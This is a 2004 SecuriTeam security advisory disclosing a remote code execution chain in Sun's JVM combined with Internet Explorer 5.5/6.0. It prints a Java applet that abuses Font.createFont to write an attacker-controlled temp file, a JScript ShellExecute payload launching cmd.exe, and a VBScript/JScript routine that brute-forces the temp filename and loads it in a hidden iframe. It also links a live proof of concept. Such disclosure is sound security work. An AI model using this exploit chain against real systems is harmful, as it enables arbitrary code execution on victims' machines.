

[NT] Sun JVM Insecure Temporary File Creation Allows Remote Code Execution

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0037.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/12/04

To: list@securiteam.com

Date: 12 Jul 2004 19:23:21 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Sun JVM Insecure Temporary File Creation Allows Remote Code Execution

SUMMARY

A temporary file creation issue in Sun's Java Virtual Machine combined with known security holes in Internet Explorer may lead to arbitrary script code execution on the victim's machine.

DETAILS

Vulnerable Systems:

- * Sun JVM with Internet Explorer version 5.5, 6.0

JVM Insecure Temporary File Creation

In a previously featured article,

[<http://www.securiteam.com/securitynews/5OP0D0KDFQ.html>](http://www.securiteam.com/securitynews/5OP0D0KDFQ.html) Java Applet

Crashes JVM And Browser, an applet is featured that can crash the JVM. By

passing a specially crafted byte array to the Font.createFont method you

could get the whole JVM to crash. The demo that crashes the JVM does

another thing which is unexpected and that is it creates a temporary file

in the user's temp folder:

+~JFxxxxx.tmp

Securiteam: [NT] Sun JVM Insecure Temporary File Creation Allows Remote Code Execution

Where xxxxx are a 5 digit random number. It seems that with the malicious applet, the temporary file being created contains the exact byte array passed to createFont. An attacker can use this in order to point the victim's browser to that file and cause it to render it. Since the attacker controls the file contents, all sorts of avenues of attacks are possible.

An applet that creates a temporary file is shown below:

```
import java.applet.Applet;
import java.awt.Font;
import java.net.URL;
import netscape.javascript.JSObject;

public class Jelmer extends Applet {

    public void init() {
        try {
            Font f = Font.createFont(Font.TRUETYPE_FONT, new
            URL(getParameter("infile")).openStream());
        } catch(Exception ignored) {}

        try {
            JSObject jsWin = JSObject.getWindow(this);
            jsWin.call("doneloading", new Object[]{});
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}
```

This applet creates the file from the URL passed as a parameter and calls the Javascript function doneloading when it's done. A file containing script code similar to the one below can be stored on the temporary folder:

```
<scr!pt language=JScr!pt>
o=new ActiveXObject('Shell.Application');
o.ShellExecute('cmd.exe','/c pause');
</scr!pt>
```

The following would cause the command prompt to launch for an unpatched Internet Explorer system. The full details on this known vulnerability can be found at

<http://cert.uni-stuttgart.de/archive/ntbugtraq/2004/01/msg00002.html>
<http://cert.uni-stuttgart.de/archive/ntbugtraq/2004/01/msg00002.html>.

The next issue to deal with is how to guess the random 5-digit number used to create the temporary file. Using another bug to check for the existence of local files the combinations can be run through fairly quickly and the filename can be found. The bug description can be found at

<http://lists.netsys.com/pipermail/full-disclosure/2004-February/016881.html>
<http://lists.netsys.com/pipermail/full-disclosure/2004-February/016881.html>. The code that performs the

Securiteam: [NT] Sun JVM Insecure Temporary File Creation Allows Remote Code Execution

check is listed below:

```
<script language="vbscript">  
Function Exists(filename)  
On Error Resume Next
```

```
LoadPicture(filename)  
Exists = Err.Number = 481  
End Function  
</script>
```

```
<script language="JScript">  
function doneloading() {  
dir = 'C:\\Documents and Settings\\USERNAME\\Local Settings\\Temp\\'  
for (i=0;i<100000;i++) {  
filename = '+~JF' + i + '.tmp'  
if (Exists(dir + filename)) {  
document.body.insertAdjacentHTML('afterBegin', '<iframe  
style="display:none;" src="shell:profile\\Local Settings\\Temp\\' +  
filename + "'></iframe>');  
}  
}  
}  
</script>
```

The last ingredient needed for the attack is the username of the victim that can be obtained by use of another issue which is described at <http://seclists.org/bugtraq/2004/Jun/0308.html> <http://seclists.org/bugtraq/2004/Jun/0308.html>. The combination of these issues opens up the possibility for remote code execution since any content can be placed in the temporary file and the file name can easily be determined, hence the browser directed there. Once the browser renders the script from the local zone, arbitrary code execution ensues.

A proof of concept demo located at <http://poc.homedns.org/execute.htm> <http://poc.homedns.org/execute.htm> can be used to see this exploit in action.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:jkuperus@planet.nl>> Jelmer.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

Securiteam: [NT] Sun JVM Insecure Temporary File Creation Allows Remote Code Execution

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.